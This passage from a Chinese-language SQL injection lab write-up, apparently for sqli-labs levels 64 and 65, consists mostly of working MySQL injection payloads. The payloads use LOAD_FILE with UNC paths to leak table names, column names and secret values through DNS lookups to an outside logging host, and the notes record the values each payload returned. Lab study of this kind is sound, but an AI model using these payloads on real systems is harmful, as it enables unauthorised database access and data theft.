?id=1' and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT secret_5YDC FROM challenges.ud7yymnibx limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
1 2 3
## Day68-Less64 ### 分析
和 62 一样,要么盲注,要么 DSN
?id=1)) and if((SELECT LOAD_FILE(CONCAT('\\',(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' limit 0,1),'.xxxxxx.ceye.io\abc'))),1,1)--+
得到 ex06wyovlw
?id=1)) and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' and column_NAME like 'sec%' limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
得到 secret_G074
?id=1)) and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT secret_G074 FROM challenges.ex06wyovlw limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
1 2 3
## Day69-Less65 ### 分析
和 62 一样,要么盲注,要么 DSN
?id=1") and if((SELECT LOAD_FILE(CONCAT('\\',(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' limit 0,1),'.xxxxxx.ceye.io\abc'))),1,1)--+
得到 gfpke05sif
?id=1") and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT column_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='challenges' and column_NAME like 'sec%' limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
得到 secret_SWQ8
?id=1") and if(1,(SELECT LOAD_FILE(CONCAT('\\',(SELECT secret_SWQ8 FROM challenges.gfpke05sif limit 0,1),'.xxxxxx.ceye.io\abc'))),1)--+
```